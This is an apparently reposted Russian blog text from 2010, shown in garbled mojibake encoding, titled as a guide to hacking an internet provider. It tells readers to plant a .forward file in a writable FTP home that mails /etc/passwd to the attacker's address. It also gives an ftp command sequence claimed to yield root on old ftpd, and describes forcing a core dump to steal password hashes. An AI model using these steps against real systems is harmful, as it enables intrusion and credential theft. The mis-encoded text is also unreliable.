Êàê äåéñòâèòåëüíî ìîæíî ñëîìàòü ïðîâàéäåðà
|
|
Ïÿòíèöà, 16 Àïðåëÿ 2010 ã. 22:39
+ â öèòàòíèê
Êàê äåéñòâèòåëüíî ìîæíî ñëîìàòü ïðîâàéäåðà
Ñðàçó õî÷ó ñêàçàòü - ýòîò ñïîñîá HÅ ÏÐÎÕÎÄÈÒ, åñëè â êà÷åñòâå àòàêóåìîãî ñåðâåðà èñïîëüçóåòñÿ host,íà êîòîðîì ñòîèò FreeBSD âåðñèè 2.* è áîëåå(íó åñëè admin íå èäèîò),à òàê æå Linux(ïîñëåäíèè âåðñèè).êàê ýòî áóäåò íà äð. UNIX'ax - ÿ íå çíàþ! êàê âû çíàåòå ñïèñîê user-password õðàíèòñÿ â /etc/passwd(îïÿòü æå, åñëè admin èäèîò - îí ìîæåò õðàíèòñÿ è â ~/ftp/etc;-)). äàëåå - åñëè ó âàñ åñòü âõîä íà ftp ïîä êàêèì-ëèáî èìåíåì èëè âõîä ïîä anonymous(â ýòîì ñëó÷àå ó ïîëüçîâàòåëÿ ftp äîìàøíèé êàòàëîã, äîëæåí áûòü äîñòóïåí äëÿ çàïèñè ) òî ìîæíî ñäåëàòü - ñëåäóþùåå: cîçäàòü ôàéë .forward(åòîò ôàéë âûïîëíÿåòñÿ, êîãäà íà èìÿ äàííîãî ïîëüçîâàòåëÿ ïðèõîäèòü ïî÷òà) è çàêà÷àòü â äîìàøíèé êàòàëîã ïîëüçîâàòåëÿ ftp. â ôàéëå .forward íóæíî ïîìåñòèòü => |/bin/mail/
e-mail@vash.com < /etc/passwd ïîñëå çàêà÷êè ýòîãî ôàéëà â äîìàøíèé êàòàëîã ïîëüçîâàòåëÿ ftp(þçåðà), åìó ñëåäóåò ïîñëàòü mail è ñèäåòü, æäàòü ïîêà ê âàì íå ïðèäåò passwd;-)
áîëåå ñòàðûå îøèáêè â ftpd:
#ftp -n
ftp>open host.com
....
ftp>quote user ftp
....
ftp>qoute cwd ~root
...
ftp>quote pass ftp
...
ftp>ls -al/
åñëè ýòà êîìàíäà ñðàáîòàëà - çíà÷èò âû çàøëè â ñèñòåìó êàê root. åùå îäèí ñïîñîá ñîñòîèò â òîì, ÷òî â ftp íàäî ïåðåïîëíèòü ñïèñîê àðãóìåíòîâ êîìàíäû, ÷òî ïðèâåäåò ê ñáðîñó core(â êîòîðîì áóäóò íàõîäèòñÿ êåøèðîâàííûå ïàðîëè).óòÿíóòü core, ìîæíî èìåÿ àíîíèìíûé âõîä. Îäíàêî îïÿòü æå, â íîâûõ âåðñèÿõ âñå ýòî ïîôèêñåíî. óùåñòâóþò, òàê æå ìíîæåñòâî äð. ñïîñîáîâ âçëîìà ÷åðåç sendmail,telnet, tftp...- ïðî êîòîðûå ìíå âëîì ïèñàòü. ïîýòîìó åñëè âàì íàäî ÷òî òî âçëîìàòü - ó÷èòå UNIX,C è âïðåðåä:-) ïðîñüáà íå ñëàòü ìíå ïèñüìà, ñ âîïðîñàìè òèïà êàê ïîëó÷èòü ïàðîëè èç passwd, "êàê ñîçäàòü ôàéë .forward",÷òî òàêîå core.... åñëè õîòèòå ñî ìíîé ïîãîâîðèòü - ëîâèòå íà irc. õî÷ó âàñ òàê æå ïðåäóïðåäèòü, ÷òî íå ñïåöèàëèçèðóþñü íà âçëîìå è çíàþ òîëüêî òî, ÷òî IMHO äîëæåí çíàòü ëþáîé admin, åñëè îí íå õî÷åò èìåòü íåïðèÿòíîñòåé íà ñâîþ æîïó. ÿ íàäåþñü,÷òî òóò áîëüøå íå áóäåò ëàìåðñêèõ âîïðîñîâ - "êàê ñëîìàòü èíòåðíåò" ¿
Sergey Skuridin 2:5025/19
Ìåòêè:
êàê äåéñòâèòåëüíî ìîæíî ñëîìàòü ïðîâàéäåðà
-
Çàïèñü ïîíðàâèëàñü
-
0
Ïðîöèòèðîâàëè
-
0
Ñîõðàíèëè
-